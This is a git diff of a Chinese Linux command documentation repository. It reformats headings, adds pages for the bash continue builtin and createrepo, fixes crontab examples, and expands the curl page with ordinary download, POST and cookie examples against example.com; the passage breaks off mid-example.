- \ No newline at end of file diff --git a/command/compress.md b/command/compress.md index b960614c66a..47071126c0d 100644 --- a/command/compress.md +++ b/command/compress.md @@ -7,13 +7,13 @@ compress **compress命令** 使用“Lempress-Ziv”编码压缩数据文件。compress是个历史悠久的压缩程序,文件经它压缩后,其名称后面会多出".Z"的扩展名。当要解压缩时,可执行uncompress指令。事实上uncompress是指向compress的符号连接,因此不论是压缩或解压缩,都可通过compress指令单独完成。 -### 语法 +### 语法 ```shell compress(选项)(参数) ``` -### 选项 +### 选项 ```shell -f:不提示用户,强制覆盖掉目标文件; @@ -25,11 +25,11 @@ compress(选项)(参数) -V:显示指令版本及程序预设值。 ``` -### 参数 +### 参数 文件:指定要压缩的文件列表。 -### 实例 +### 实例 将`/etc/man.config`复到`/tmp` ,并加以压缩 @@ -65,4 +65,3 @@ compress(选项)(参数) 这个`-c`的选项比较有趣!会将压缩过程的资料输出到屏幕上,而不是写入成为file.Z文件。所以,我们可以透过资料流重导向的方法将资料输出成为另一个档名。 - \ No newline at end of file diff --git a/command/consoletype.md b/command/consoletype.md index f5323cc5ff1..bc65e86487b 100644 --- a/command/consoletype.md +++ b/command/consoletype.md @@ -7,13 +7,13 @@ consoletype **consoletype命令** 用于打印已连接的终端类型到标准输出,并能够检查已连接的终端是当前终端还是虚拟终端。 -### 语法 +### 语法 ```shell consoletype ``` -### 实例 +### 实例 ```shell [root@localhost ~]# consoletype @@ -21,4 +21,3 @@ pty ``` - \ No newline at end of file diff --git a/command/continue.md b/command/continue.md new file mode 100644 index 00000000000..09752eea9fe --- /dev/null +++ b/command/continue.md @@ -0,0 +1,70 @@ +continue +=== + +结束本次循环,继续执行下一个for,while或until循环。 + +## 概要 + +```shell +continue [n] +``` + +## 主要用途 + +- 结束本次循环,继续执行下一个for,while或until循环;可指定从第几层循环继续执行。 + + +## 参数 + +n(可选):大于等于1的整数,用于指定从第几层循环继续执行。 + +## 返回值 + +返回状态为成功除非n小于1。 + +## 例子 + +```shell +# continue的可选参数n缺省值为1。 +for((i=3;i>0;i--)); do + # 跳到内层for循环继续执行。 + for((j=3;j>0;j--)); do + if((j==2)); then + # 换成continue 1时结果一样 + continue + fi + printf "%s %s\n" ${i} ${j} + done +done +# 输出结果 +3 3 +3 1 +2 3 +2 1 +1 3 +1 1 +``` + +```shell +# 当n为2时: +# 跳到外层for循环继续执行。 +for((i=3;i>0;i--)); do + for((j=3;j>0;j--)); do + if((j==2)); then + continue 2 + fi + printf "%s %s\n" ${i} ${j} + done +done +# 输出结果 +3 3 +2 3 +1 3 +``` + +### 注意 + +1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 + + + diff --git a/command/convertquota.md b/command/convertquota.md index a5602c6727c..7671849228a 100644 --- a/command/convertquota.md +++ b/command/convertquota.md @@ -7,13 +7,13 @@ convertquota **convertquota命令** 用于将老的磁盘额数据文件(“quota.user”和“quota.group”)转换为新格式的文件(“quota.user”和“quota.group”)。 -### 语法 +### 语法 ```shell convertquota(选项)(参数) ``` -### 选项 +### 选项 ```shell -u:仅转换用户磁盘配额数据文件; @@ -22,11 +22,11 @@ convertquota(选项)(参数) -e:将新的文件格式从大字节序换为小字节序。 ``` -### 参数 +### 参数 文件系统:指定要转换磁盘配额数据文件格式的文件系统(硬盘分区)。 -### 实例 +### 实例 使用convertquota指令转换指定文件系统`/data`的磁盘配额数据文件。在命令行中输入下面的命令: @@ -35,4 +35,3 @@ convertquota -u /data //转换文件系统"/data"上的用户磁盘配额文 ``` - \ No newline at end of file diff --git a/command/cp.md b/command/cp.md index 807c47dc965..6cb3a39efd5 100644 --- a/command/cp.md +++ b/command/cp.md @@ -7,13 +7,13 @@ cp **cp命令** 用来将一个或多个源文件或者目录复制到指定的目的文件或目录。它可以将单个源文件复制成一个指定文件名的具体的文件或一个已经存在的目录下。cp命令还支持同时复制多个文件,当一次复制多个文件时,目标文件参数必须是一个已经存在的目录,否则将出现错误。 -### 语法 +### 语法 ```shell cp(选项)(参数) ``` -### 选项 +### 选项 ```shell -a:此参数的效果和同时指定"-dpR"参数相同; @@ -30,12 +30,12 @@ cp(选项)(参数) -v:详细显示命令执行的操作。 ``` -### 参数 +### 参数 * 源文件:制定源文件列表。默认情况下,cp命令不能复制目录,如果要复制目录,则必须使用`-R`选项; * 目标文件:指定目标文件。当“源文件”为多个文件时,要求“目标文件”为指定的目录。 -### 实例 +### 实例 下面的第一行中是 cp 命令和具体的参数(-r 是“递归”, -u 是“更新”,-v 是“详细”)。接下来的三行显示被复制文件的信息,最后一行显示命令行提示符。这样,只拷贝新的文件到我的存储设备上,我就使用 cp 的“更新”和“详细”选项。 @@ -112,5 +112,10 @@ cp -a aaa ./bbb/ # 记住后面目录最好的'/' 带上 `-a` 参数 ``` +复制到当前目录 + +```shell +cp aaa.conf ./ +# 将 aaa.conf 复制到当前目录 +``` - diff --git a/command/cpio.md b/command/cpio.md index 2321897d65d..c3acd0a3c96 100644 --- a/command/cpio.md +++ b/command/cpio.md @@ -7,13 +7,13 @@ cpio **cpio命令** 主要是用来建立或者还原备份档的工具程序,cpio命令可以复制文件到归档包中,或者从归档包中复制文件。 -### 语法 +### 语法 ```shell cpio(选项) ``` -### 选项 +### 选项 ```shell -0或--null:接受新增列控制字符,通常配合find指令的“-print0”参数使用; @@ -58,7 +58,7 @@ cpio(选项) --version:显示版本信息。 ``` -### 实例 +### 实例 **将`/etc`下的所有普通文件都备份到`/opt/etc.cpio`,使用以下命令:** @@ -93,4 +93,3 @@ cpio –icduv < /opt/etc.cpio 通过上面的示例,可以看出,cpio无法直接读取文件,它需要每个文件或者目录的完整路径名才能识别读取,而find命令的输出刚好做到了这点,因此,cpio命令一般和find命令配合使用。其实,上面的示例我们已经看到了它们的组合用法。 - \ No newline at end of file diff --git a/command/createrepo.md b/command/createrepo.md new file mode 100644 index 00000000000..979bf0cdccf --- /dev/null +++ b/command/createrepo.md @@ -0,0 +1,147 @@ +createrepo +=== + +创建YUM仓库 + +## 概要 + +```shell +createrepo [选项] <目录> +``` + +## 描述 + +`createrepo`是一个程序,它从一组RPM创建一个RPM元数据存储库,即YUM仓库。 + +## 选项 + +```shell +-u --baseurl +# 指定Base URL的地址 + +-o --outputdir +# 指定元数据的输出位置 + +-x --excludes +# 指定在形成元数据时需要排除的包 + +-i --pkglist +# 指定一个文件,该文件内的包信息将被包含在即将生成的元数据中,格式为每个包信息独占一行,不含通配符、正则,以及范围表达式。 + +-n --includepkg +# 通过命令行指定要纳入本地库中的包信息,需要提供URL或本地路径。 + +-q --quiet +# 安静模式执行操作,不输出任何信息。 + +-g --groupfile +# 指定本地软件仓库的组划分,示例:createrepo -g comps.xml /path/to/rpms +# 注意:组文件需要和rpm包放置于同一路径下。 + +-v --verbose +# 输出详细信息。 + +-c --cachedir +# 指定一个目录,用作存放软件仓库中软件包的校验和信息。 +# 当createrepo在未发生明显改变的相同仓库文件上持续多次运行时,指定cachedir会明显提高其性能。 + +--basedir +# Basedir为repodata中目录的路径,默认为当前工作目录。 + +--update +# 如果元数据已经存在,且软件仓库中只有部分软件发生了改变或增减, +# 则可用update参数直接对原有元数据进行升级,效率比重新分析rpm包依赖并生成新的元数据要高很多。 + +--skip-stat +# 跳过--update上的stat()调用,假设如果文件名相同,则文件仍然相同(仅在您相当信任或容易受骗时使用此方法)。 + +--update-md-path +# 从这个路径使用现有的repodata来升级。 + +-C --checkts +# 不要生成回购元数据,如果它们的时间戳比rpm更新。如果您碰巧开启了该选项,则此选项将再次大幅减少处理时间一个未修改的回购,但它(目前)与——split选项互斥。注意:当包从repo中删除时,这个命令不会注意到。使用——update来处理这个。 + +--split +# 在拆分媒体模式下运行。与其传递单个目录,不如获取一组对应于媒体集中不同卷的目录。 + +-p --pretty +# 以整洁的格式输出xml文件。 + +--version +# 输出版本。 + +-h --help +# 显示帮助菜单。 + +-d --database +# 该选项指定使用SQLite来存储生成的元数据,默认项。 + +--no-database +# 不要在存储库中生成sqlite数据库。 + +-S --skip-symlinks +# 忽略包的符号链接 + +-s --checksum +# 选择repmed .xml中使用的校验和类型以及元数据中的包。默认值现在是“sha256”(如果python有hashlib)。旧的默认值是“sha”,它实际上是“sha1”,但是显式使用“sha1”在旧版本(3.0.x)的yum上不起作用,您需要指定“sha”。 + +--profile +# 输出基于时间的分析信息。 + +--changelog-limit CHANGELOG_LIMIT +# 只将每个rpm中的最后N个变更日志条目导入元数据 + +--unique-md-filenames +# 在元数据文件名中包含文件的校验和,有助于HTTP缓存(默认) + +--simple-md-filenames +# 不要在元数据文件名中包含文件的校验和。 + +--retain-old-md +# 保留旧repodata的最新(按时间戳)N个副本(这样使用旧repodata .xml文件的客户端仍然可以访问它)。默认为0。 + +--distro +指定发行版标签。可以多次指定。可选语法,指定cpeid(http://cpe.mitre.org/)——distro=cpeid,distrotag + +--content +# 指定关于存储库内容的关键字/标记。可以多次指定。 + +--repo +# 指定关于存储库本身的关键字/标签。可以多次指定。 + +--revision +# 存储库修订的任意字符串。 + +--deltas +# 告诉createrepo生成增量数据和增量元数据 + +--oldpackagedirs PATH +# 寻找更老的PKGS来对抗的路径。可以指定多次吗 + +--num-deltas int +# 要进行增量处理的旧版本的数量。默认为1 + +--read-pkgs-list READ_PKGS_LIST +# 使用——update将路径输出到PKGS实际读起来很有用 + +--max-delta-rpm-size MAX_DELTA_RPM_SIZE +# 要运行deltarpm的RPM的最大大小(以字节为单位) + +--workers WORKERS +# 为读取RPMS而生成的工作线程数 + +--compress-type +# 指定要使用的压缩方法:compat(默认),xz(可能不可用),gz, bz2。 + +``` + +## 返回值 + +返回状态为成功除非给出了非法选项或非法参数。 + +## 例子 + +```shell +# 生成带有groups文件的存储库。注意groups文件应该和rpm包在同一个目录下(即/path/to/rpms/comps.xml)。 +createrepo -g comps.xml /path/to/rpms +``` diff --git a/command/crontab.md b/command/crontab.md index e906741b090..f691ff50ccd 100644 --- a/command/crontab.md +++ b/command/crontab.md @@ -7,13 +7,13 @@ crontab **crontab命令** 被用来提交和管理用户的需要周期性执行的任务,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务工具,并且会自动启动crond进程,crond进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。 -### 语法 +### 语法 ```shell crontab(选项)(参数) ``` -### 选项 +### 选项 ```shell -e:编辑该用户的计时器设置; @@ -22,11 +22,11 @@ crontab(选项)(参数) -u<用户名称>:指定要设定计时器的用户名称。 ``` -### 参数 +### 参数 crontab文件:指定包含待执行任务的crontab文件。 -### 知识扩展 +### 知识扩展 Linux下的任务调度分为两类: **系统任务调度** 和 **用户任务调度** 。 @@ -111,7 +111,7 @@ ntsysv chkconfig –level 35 crond on ``` -### 实例 +### 实例 每1分钟执行一次command @@ -176,13 +176,13 @@ chkconfig –level 35 crond on 每一小时重启smb  ```shell -* */1 * * * /etc/init.d/smb restart +0 */1 * * * /etc/init.d/smb restart ``` 晚上11点到早上7点之间,每隔一小时重启smb ```shell -* 23-7/1 * * * /etc/init.d/smb restart +0 23-7/1 * * * /etc/init.d/smb restart ``` 每月的4号与每周一到周三的11点重启smb  @@ -204,4 +204,3 @@ chkconfig –level 35 crond on ``` - \ No newline at end of file diff --git a/command/csplit.md b/command/csplit.md index 144e0a92e92..1b0f0c8abe4 100644 --- a/command/csplit.md +++ b/command/csplit.md @@ -7,13 +7,13 @@ csplit **csplit命令** 用于将一个大文件分割成小的碎片,并且将分割后的每个碎片保存成一个文件。碎片文件的命名类似“xx00”,“xx01”。csplit命令是split的一个变体,split只能够根据文件大小或行数来分割,但csplit能够根据文件本身特点来分割文件。 -### 语法 +### 语法 ```shell csplit(选项)(参数) ``` -### 选项 +### 选项 ```shell -b<输出格式>或--suffix-format=<输出格式>:预设的输出格式其文件名称为xx00,xx01等,用户可以通过改变<输出格式>来改变输出的文件名; @@ -24,12 +24,12 @@ csplit(选项)(参数) -z或--elide-empty-files:删除长度为0 Byte文件。 ``` -### 参数 +### 参数 * 文件:指定要分割的原文件; * 模式:指定要分割文件时的匹配模式。 -### 实例 +### 实例 示例测试文件 server.log @@ -73,4 +73,3 @@ rm server00.log #是删除第一个文件,因为分割后的的第一个文 ``` - \ No newline at end of file diff --git a/command/cu.md b/command/cu.md index 4524579dd25..75979699680 100644 --- a/command/cu.md +++ b/command/cu.md @@ -1,20 +1,20 @@ cu === -用于连接另一个系统主机。 +用于连接另一个系统主机 ## 补充说明 **cu命令** 用于连接另一个系统主机。cu(call up)指令可连接另一台主机,并采用类似拨号终端机的接口工作,也可执行简易的文件传输作业。 -### 语法 +### 语法 ```shell cu [dehnotv][-a<通信端口>][-c<电话号码>][-E<脱离字符>][-I<设置文件>][-l<外围设备代号>] [-s<连线速率>][-x<排错模式>][-z<系统主机>][--help][-nostop][--parity=none][<系统主机>/<电话号码>] ``` -### 选项 +### 选项 ```shell -a<通信端口>或-p<通信端口>或--port<通信端口> 使用指定的通信端口进行连线。 @@ -48,4 +48,4 @@ cu -s 38400 9=12015551234 - + diff --git a/command/cupsdisable.md b/command/cupsdisable.md index 2ea2e097a59..92dd678b395 100644 --- a/command/cupsdisable.md +++ b/command/cupsdisable.md @@ -7,13 +7,13 @@ cupsdisable **cupsdisable命令** 用于停止指定的打印机。 -### 语法 +### 语法 ```shell cupsdisable(选项)(参数) ``` -### 选项 +### 选项 ```shell -E:当连接到服务器时强制使用加密; @@ -24,9 +24,8 @@ cupsdisable(选项)(参数) -r:停止打印机的原因。 ``` -### 参数 +### 参数 目标:指定目标打印机。 - \ No newline at end of file diff --git a/command/cupsenable.md b/command/cupsenable.md index d1a147a6c8d..2e6aaee0a31 100644 --- a/command/cupsenable.md +++ b/command/cupsenable.md @@ -7,13 +7,13 @@ cupsenable **cupsenable命令** 用于启动指定的打印机。 -### 语法 +### 语法 ```shell cupsenable(选项)(参数) ``` -### 选项 +### 选项 ```shell -E:当连接到服务器时强制使用加密; @@ -22,9 +22,8 @@ cupsenable(选项)(参数) -h:指定连接的服务器名和端口号; ``` -### 参数 +### 参数 目标:指定目标打印机。 - \ No newline at end of file diff --git a/command/curl.md b/command/curl.md index 8807e0b1d81..2215d6af058 100644 --- a/command/curl.md +++ b/command/curl.md @@ -5,7 +5,7 @@ curl ## 补充说明 -**curl命令** 是一个利用URL规则在命令行下工作的文件传输工具。它支持文件的上传和下载,所以是综合传输工具,但按传统,习惯称curl为下载工具。作为一款强力工具,curl支持包括HTTP、HTTPS、ftp等众多协议,还支持POST、cookies、认证、从指定偏移处下载部分文件、用户代理字符串、限速、文件大小、进度条等特征。做网页处理流程和数据检索自动化,curl可以祝一臂之力。 +**curl命令** 是一个利用URL规则在命令行下工作的文件传输工具。它支持文件的上传和下载,所以是综合传输工具,但按传统,习惯称curl为下载工具。作为一款强力工具,curl支持包括HTTP、HTTPS、ftp等众多协议,还支持POST、cookies、认证、从指定偏移处下载部分文件、用户代理字符串、限速、文件大小、进度条等特征。做网页处理流程和数据检索自动化,curl可以助一臂之力。 ### 语法 @@ -15,113 +15,110 @@ curl(选项)(参数) ### 选项 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-a/--append上传文件时,附加到目标文件
-A/--user-agent 设置用户代理发送给服务器
-anyauth可以使用“任何”身份验证方法
-b/--cookie cookie字符串或文件读取位置
     --basic使用HTTP基本验证
-B/--use-ascii使用ASCII /文本传输
-c/--cookie-jar 操作结束后把cookie写入到这个文件中
-C/--continue-at 断点续传
-d/--data HTTP POST方式传送数据
     --data-ascii 以ascii的方式post数据
     --data-binary 以二进制的方式post数据
     --negotiate使用HTTP身份验证
     --digest使用数字身份验证
     --disable-eprt禁止使用EPRT或LPRT
     --disable-epsv禁止使用EPSV
-D/--dump-header 把header信息写入到该文件中
     --egd-file 为随机数据(SSL)设置EGD socket路径
     --tcp-nodelay使用TCP_NODELAY选项
-e/--referer来源网址
-E/--cert 客户端证书文件和密码 (SSL)
     --cert-type 证书文件类型 (DER/PEM/ENG) (SSL)
     --key 私钥文件名 (SSL)
     --key-type 私钥文件类型 (DER/PEM/ENG) (SSL)
     --pass 私钥密码 (SSL)
     --engine 加密引擎使用 (SSL). "--engine list" for list
     --cacert CA证书 (SSL)
     --capath CA目录 (made using c_rehash) to verify peer against (SSL)
     --ciphers SSL密码
     --compressed要求返回是压缩的形势 (using deflate or gzip)
     --connect-timeout 设置最大请求时间
     --create-dirs建立本地目录的目录层次结构
     --crlf上传是把LF转变成CRLF
-f/--fail连接失败时不显示http错误
     --ftp-create-dirs如果远程目录不存在,创建远程目录
     --ftp-method [multicwd/nocwd/singlecwd]控制CWD的使用
     --ftp-pasv使用 PASV/EPSV 代替端口
     --ftp-skip-pasv-ip使用PASV的时候,忽略该IP地址
     --ftp-ssl尝试用 SSL/TLS 来进行ftp数据传输
     --ftp-ssl-reqd要求用 SSL/TLS 来进行ftp数据传输
-F/--form 模拟http表单提交数据
     --form-string 模拟http表单提交数据
-g/--globoff禁用网址序列和范围使用{}和[]
-G/--get以get的方式来发送数据
-H/--header 自定义头信息传递给服务器
     --ignore-content-length忽略的HTTP头信息的长度
-i/--include输出时包括protocol头信息
-I/--head只显示请求头信息
-j/--junk-session-cookies读取文件进忽略session cookie
     --interface 使用指定网络接口/地址
     --krb4 使用指定安全级别的krb4
-k/--insecure允许不使用证书到SSL站点
-K/--config指定的配置文件读取
-l/--list-only列出ftp目录下的文件名称
     --limit-rate 设置传输速度
     --local-port强制使用本地端口号
-m/--max-time 设置最大传输时间
     --max-redirs 设置最大读取的目录数
     --max-filesize 设置最大下载的文件总量
-M/--manual显示全手动
-n/--netrc从netrc文件中读取用户名和密码
     --netrc-optional使用 .netrc 或者 URL来覆盖-n
     --ntlm使用 HTTP NTLM 身份验证
-N/--no-buffer禁用缓冲输出
-o/--output把输出写到该文件中
-O/--remote-name把输出写到该文件中,保留远程文件的文件名
-p/--proxytunnel使用HTTP代理
     --proxy-anyauth选择任一代理身份验证方法
     --proxy-basic在代理上使用基本身份验证
     --proxy-digest在代理上使用数字身份验证
     --proxy-ntlm在代理上使用ntlm身份验证
-P/--ftp-port
使用端口地址,而不是使用PASV
-q作为第一个参数,关闭 .curlrc
-Q/--quote 文件传输前,发送命令到服务器
-r/--range 检索来自HTTP/1.1或FTP服务器字节范围
--range-file读取(SSL)的随机文件
-R/--remote-time在本地生成文件时,保留远程文件时间
     --retry 传输出现问题时,重试的次数
     --retry-delay 传输出现问题时,设置重试间隔时间
     --retry-max-time 传输出现问题时,设置最大重试时间
-s/--silent静默模式。不输出任何东西
-S/--show-error显示错误
     --socks4 用socks4代理给定主机和端口
     --socks5 用socks5代理给定主机和端口
     --stderr  
-t/--telnet-option Telnet选项设置
     --trace 对指定文件进行debug
     --trace-ascii Like --跟踪但没有hex输出
     --trace-time跟踪/详细输出时,添加时间戳
-T/--upload-file 上传文件
     --url Spet URL to work with
-u/--user 设置服务器的用户和密码
-U/--proxy-user 设置代理用户名和密码
-w/--write-out [format]什么输出完成后
-x/--proxy 在给定的端口上使用HTTP代理
-X/--request 指定什么命令
-y/--speed-time放弃限速所要的时间,默认为30
-Y/--speed-limit停止传输速度的限制,速度时间
+```bash +-a --append # 上传文件时,附加到目标文件 +-A --user-agent # 设置用户代理发送给服务器 +-anyauth # 可以使用“任何”身份验证方法 +-b --cookie # cookie字符串或文件读取位置 +     --basic # 使用HTTP基本验证 +-B --use-ascii # 使用ASCII /文本传输 +-c --cookie-jar # 操作结束后把cookie写入到这个文件中 +-C --continue-at # 断点续传 +-d --data # HTTP POST方式传送数据 +     --data-ascii # 以ascii的方式post数据 +     --data-binary # 以二进制的方式post数据 +     --negotiate # 使用HTTP身份验证 +     --digest # 使用数字身份验证 +     --disable-eprt # 禁止使用EPRT或LPRT +     --disable-epsv # 禁止使用EPSV +-D --dump-header # 把header信息写入到该文件中 +     --egd-file # 为随机数据(SSL)设置EGD socket路径 +     --tcp-nodelay # 使用TCP\_NODELAY选项 +-e --referer # 来源网址 +-E --cert # 客户端证书文件和密码 (SSL) +     --cert-type # 证书文件类型 (DER/PEM/ENG) (SSL) +     --key # 私钥文件名 (SSL) +     --key-type # 私钥文件类型 (DER/PEM/ENG) (SSL) +     --pass # 私钥密码 (SSL) +     --engine # 加密引擎使用 (SSL). "--engine list" for list +     --cacert # CA证书 (SSL) +     --capath # CA目录 (made using c\_rehash) to verify peer against (SSL) +     --ciphers # SSL密码 +     --compressed # 要求返回是压缩的形势 (using deflate or gzip) +     --connect-timeout # 设置最大请求时间 +     --create-dirs # 建立本地目录的目录层次结构 +     --crlf # 上传是把LF转变成CRLF +-f --fail # 连接失败时不显示http错误 +     --ftp-create-dirs # 如果远程目录不存在,创建远程目录 +     --ftp-method \[multicwd/nocwd/singlecwd] # 控制CWD的使用 +     --ftp-pasv # 使用 PASV/EPSV 代替端口 +     --ftp-skip-pasv-ip # 使用PASV的时候,忽略该IP地址 +     --ftp-ssl # 尝试用 SSL/TLS 来进行ftp数据传输 +     --ftp-ssl-reqd # 要求用 SSL/TLS 来进行ftp数据传输 +-F --form # 模拟http表单提交数据 +     --form-string # 模拟http表单提交数据 +-g --globoff # 禁用网址序列和范围使用{}和\[] +-G --get # 以get的方式来发送数据 +-H --header # 自定义头信息传递给服务器 +     --ignore-content-length # 忽略的HTTP头信息的长度 +-i --include # 输出时包括protocol头信息 +-I --head # 只显示请求头信息 +-j --junk-session-cookies # 读取文件进忽略session cookie +     --interface # 使用指定网络接口/地址 +     --krb4 # 使用指定安全级别的krb4 +-k --insecure # 允许不使用证书到SSL站点 +-K --config # 指定的配置文件读取 +-l --list-only # 列出ftp目录下的文件名称 +     --limit-rate # 设置传输速度 +     --local-port # 强制使用本地端口号 +-m --max-time # 设置最大传输时间 +     --max-redirs # 设置最大读取的目录数 +     --max-filesize # 设置最大下载的文件总量 +-M --manual # 显示全手动 +-n --netrc # 从netrc文件中读取用户名和密码 +     --netrc-optional # 使用 .netrc 或者 URL来覆盖-n +     --ntlm # 使用 HTTP NTLM 身份验证 +-N --no-buffer # 禁用缓冲输出 +-o --output # 把输出写到该文件中 +-O --remote-name # 把输出写到该文件中,保留远程文件的文件名 +-p --proxytunnel # 使用HTTP代理 +     --proxy-anyauth # 选择任一代理身份验证方法 +     --proxy-basic # 在代理上使用基本身份验证 +     --proxy-digest # 在代理上使用数字身份验证 +     --proxy-ntlm # 在代理上使用ntlm身份验证 +-P --ftp-port # 使用端口地址,而不是使用PASV +-q # 作为第一个参数,关闭 .curlrc +-Q --quote # 文件传输前,发送命令到服务器 +-r --range # 检索来自HTTP/1.1或FTP服务器字节范围 +--range-file # 读取(SSL)的随机文件 +-R --remote-time # 在本地生成文件时,保留远程文件时间 +     --retry # 传输出现问题时,重试的次数 +     --retry-delay # 传输出现问题时,设置重试间隔时间 +     --retry-max-time # 传输出现问题时,设置最大重试时间 +-s --silent # 静默模式。不输出任何东西 +-S --show-error # 显示错误 +     --socks4 # 用socks4代理给定主机和端口 +     --socks5 # 用socks5代理给定主机和端口 +     --stderr #   +-t --telnet-option # Telnet选项设置 +     --trace # 对指定文件进行debug +     --trace-ascii # Like --跟踪但没有hex输出 +     --trace-time # 跟踪/详细输出时,添加时间戳 +-T --upload-file # 上传文件 +     --url # 要使用的 URL +-u --user # 设置服务器的用户和密码 +-U --proxy-user # 设置代理用户名和密码 +-w --write-out \[format] # 什么输出完成后 +-x --proxy # 在给定的端口上使用HTTP代理 +-X --request # 指定什么命令 +-y --speed-time # 放弃限速所要的时间,默认为30 +-Y --speed-limit # 停止传输速度的限制,速度时间 + +``` ### 实例 -**文件下载** +#### **文件下载** curl命令可以用来执行下载、发送各种HTTP请求,指定HTTP头部等操作。如果系统没有curl可以使用`yum install curl`安装,也可以下载安装。curl是将下载文件输出到stdout,将进度信息输出到stderr,不显示进度信息使用`--silent`选项。 @@ -134,54 +131,55 @@ curl URL --silent 使用选项`-O`将下载的数据写入到文件,必须使用文件的绝对地址: ```shell -curl http://wangchujiang.com/text.iso --silent -O +curl http://example.com/text.iso --silent -O ``` 选项`-o`将下载数据写入到指定名称的文件中,并使用`--progress`显示进度条: ```shell -curl http://wangchujiang.com/test.iso -o filename.iso --progress +curl http://example.com/test.iso -o filename.iso --progress ######################################### 100.0% ``` -**断点续传** +#### **不输出错误和进度信息** -curl能够从特定的文件偏移处继续下载,它可以通过指定一个便宜量来下载部分文件: +`-s` 参数将不输出错误和进度信息。 ```shell -curl URL/File -C 偏移量 - -#偏移量是以字节为单位的整数,如果让curl自动推断出正确的续传位置使用-C -: -curl -C -URL +curl -s https://www.example.com +# 上面命令一旦发生错误,不会显示错误信息。不发生错误的话,会正常显示运行结果。 ``` -**使用curl设置参照页字符串** - -参照页是位于HTTP头部中的一个字符串,用来表示用户是从哪个页面到达当前页面的,如果用户点击网页A中的某个连接,那么用户就会跳转到B网页,网页B头部的参照页字符串就包含网页A的URL。 - -使用`--referer`选项指定参照页字符串: +如果想让 curl 不产生任何输出,可以使用下面的命令。 ```shell -curl --referer http://www.google.com http://wangchujiang.com +curl -s -o /dev/null https://example.com ``` -**用curl设置cookies** +#### **断点续传** -使用`--cookie "COKKIES"`选项来指定cookie,多个cookie使用分号分隔: +curl能够从特定的文件偏移处继续下载,它可以通过指定一个偏移量来下载部分文件: ```shell -curl http://wangchujiang.com --cookie "user=root;pass=123456" +curl URL/File -C 偏移量 + +#偏移量是以字节为单位的整数,如果让curl自动推断出正确的续传位置使用-C -: +curl -C -URL ``` -将cookie另存为一个文件,使用`--cookie-jar`选项: +#### **使用curl设置参照页字符串** + +参照页是位于HTTP头部中的一个字符串,用来表示用户是从哪个页面到达当前页面的,如果用户点击网页A中的某个连接,那么用户就会跳转到B网页,网页B头部的参照页字符串就包含网页A的URL。 + +使用 `--referer` 选项指定参照页字符串: ```shell -curl URL --cookie-jar cookie_file +curl --referer http://www.example.com http://example.com ``` -**用curl设置用户代理字符串** +#### **用curl设置用户代理字符串** -有些网站访问会提示只能使用IE浏览器来访问,这是因为这些网站设置了检查用户代理,可以使用curl把用户代理设置为IE,这样就可以访问了。使用`--user-agent`或者`-A`选项: +有些网站访问会提示只能使用IE浏览器来访问,这是因为这些网站设置了检查用户代理,可以使用curl把用户代理设置为IE,这样就可以访问了。使用 `--user-agent` 或者 `-A` 选项: ```shell curl URL --user-agent "Mozilla/5.0" @@ -191,10 +189,10 @@ curl URL -A "Mozilla/5.0" 其他HTTP头部信息也可以使用curl来发送,使用`-H`"头部信息" 传递多个头部信息,例如: ```shell -curl -H "Host:wangchujiang.com" -H "accept-language:zh-cn" URL +curl -H "Host:example.com" -H "accept-language:zh-cn" URL ``` -**curl的带宽控制和下载配额** +#### **curl的带宽控制和下载配额** 使用`--limit-rate`限制curl的下载速度: @@ -212,55 +210,299 @@ curl URL --max-filesize bytes 如果文件大小超出限制,命令则返回一个非0退出码,如果命令正常则返回0。 -**用curl进行认证** +```shell +curl --limit-rate 200k https://example.com +# 上面命令将带宽限制在每秒 200K 字节。 +``` + +#### **用curl进行认证** 使用curl选项 -u 可以完成HTTP或者FTP的认证,可以指定密码,也可以不指定密码在后续操作中输入密码: ```shell -curl -u user:pwd http://wangchujiang.com -curl -u user http://wangchujiang.com +curl -u user:pwd http://example.com +curl -u user http://example.com ``` -**只打印响应头部信息** +#### **只打印响应头部信息** 通过`-I`或者`-head`可以只打印出HTTP头部信息: ```shell -[root@localhost text]# curl -I http://wangchujiang.com +[root@localhost text]# curl -I http://example.com HTTP/1.1 200 OK -Server: nginx/1.2.5 -date: Mon, 10 Dec 2012 09:24:34 GMT +Content-Encoding: gzip +Accept-Ranges: bytes +Age: 275552 +Cache-Control: max-age=604800 Content-Type: text/html; charset=UTF-8 -Connection: keep-alive -Vary: Accept-Encoding -X-Pingback: http://wangchujiang.com/xmlrpc.php +Date: Mon, 24 Apr 2023 14:39:36 GMT +Etag: "3147526947+gzip" +Expires: Mon, 01 May 2023 14:39:36 GMT +Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT +Server: ECS (sec/96EE) +X-Cache: HIT +Content-Length: 648 +``` + +#### **GET 请求** + +```shell +curl "http://www.example.com" # 如果这里的URL指向的是一个文件或者一幅图都可以直接下载到本地 +curl -i "http://www.example.com" # 显示全部信息 +curl -l "http://www.example.com" # 显示页面内容 +curl -v "http://www.example.com" # 显示get请求全过程解析 +``` + +#### **POST 请求** + +```shell +$ curl -d "param1=value1¶m2=value2" "http://www.example.com/login" + +$ curl -d'login=emma&password=123' -X POST https://example.com/login +# 或者 +$ curl -d 'login=emma' -d 'password=123' -X POST https://example.com/login +``` + +`--data-urlencode` 参数等同于 `-d`,发送 `POST` 请求的数据体,区别在于会自动将发送的数据进行 `URL` 编码。 + +```shell +curl --data-urlencode 'comment=hello world' https://example.com/login +# 上面代码中,发送的数据hello world之间有一个空格,需要进行 URL 编码。 +``` + +#### **发送本地文件中的文字** + +```shell +curl -d '@data.txt' https://example.com/upload +# 读取data.txt文件的内容,作为数据体向服务器发送。 +``` + +#### **JSON 格式的 POST 请求** + +```shell +curl -l -H "Content-type: application/json" -X POST -d '{"phone":"13888888888","password":"test"}' http://example.com/apis/users.json +``` + +#### **向服务器发送 Cookie** + +使用`--cookie "COKKIES"`选项来指定cookie,多个cookie使用分号分隔: + +```shell +curl http://example.com --cookie "user=root;pass=123456" +``` + +将cookie另存为一个文件,使用`--cookie-jar`选项: + +```shell +curl URL --cookie-jar cookie_file +``` + +`-b` 参数用来向服务器发送 Cookie。 + +```shell +curl -b 'foo=bar' https://example.com +# 上面命令会生成一个标头Cookie: foo=bar,向服务器发送一个名为foo、值为bar的 Cookie。 +``` + +```shell +curl -b 